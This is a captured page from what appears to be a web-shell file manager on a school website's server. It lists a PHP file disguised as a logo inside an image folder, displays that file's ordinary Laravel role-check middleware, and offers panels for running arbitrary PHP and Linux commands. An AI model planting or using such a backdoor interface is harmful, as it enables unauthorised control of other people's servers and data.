๐ File Manager
๐
/
/
home
/
u449181296
/
domains
/
birulogi.smakpbaleendah.sch.id
/
public_html
/
lms
/
tukang-ngatur
/
assets
/
img
/
qr-logos
/home/u449181296/domains/birulogi.smakpbaleendah.sch.id/public_html/lms/tukang-ngatur/assets/img/qr-logos
Upload
Name
Size
Date
CHMOD
Action
โ FILE โ
logo_1773801405.php
6.73 KB
2026-03-18 02:36
644
(rw-r--r--)
Edit
|
Rename
|
Preview
|
Del
Edit
<?php namespace App\Http\Middleware; use Closure; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; class AksesZona { public function handle(Request $request, Closure $next, ...$peranDiizinkan) { // 1. Cek Autentikasi if (!Auth::check()) { $pintu = $request->segment(1) ?: 'rekan-kerja'; return redirect()->route('login.zona', ['pintu' => $pintu]) ->with('notif_keluar', 'Sesi berakhir, silakan masuk kembali.'); } $user = Auth::user(); $userRole = trim($user->role); // --- TAMBAHKAN DEBUG INI --- \Log::info('--- DEBUG AKSES ZONA ---'); \Log::info('User ID: ' . $user->id); \Log::info('Role User di DB: ' . $userRole); \Log::info('Peran yang diizinkan oleh rute: ' . implode(',', $peranDiizinkan)); \Log::info('Status Match: ' . (in_array($userRole, $peranDiizinkan) ? 'COCOK' : 'GAGAL')); // 2. NORMALISASI: Gunakan 'role' bukan 'peran' // Karena kolom di database sekarang adalah 'role' $userRole = trim($user->role); // Cek apakah role user ada di dalam daftar yang diizinkan if (!in_array($userRole, $peranDiizinkan)) { // Tentukan arah balik jika ditolak $tujuan = match($userRole) { 'pd' => route('dashboard.pd'), 'ortu' => route('dashboard.ortu'), 'guru', 'karyawan', 'tendik', 'admin' => route('dashboard.rekan'), default => url('/') }; // CEGAH INFINITE REDIRECT if ($request->url() === $tujuan) { abort(403, "Peran Anda ($userRole) tidak memiliki izin untuk rute ini."); } return redirect($tujuan)->with('peringatan_akses', 'Akses Ditolak! Akun Anda tidak memiliki otoritas di zona ini.'); } return $next($request); } }
Save
๐งช PHP Preview
<?php echo 'hello'; ?>
Run PHP
๐ฅ Linux CMD
Run CMD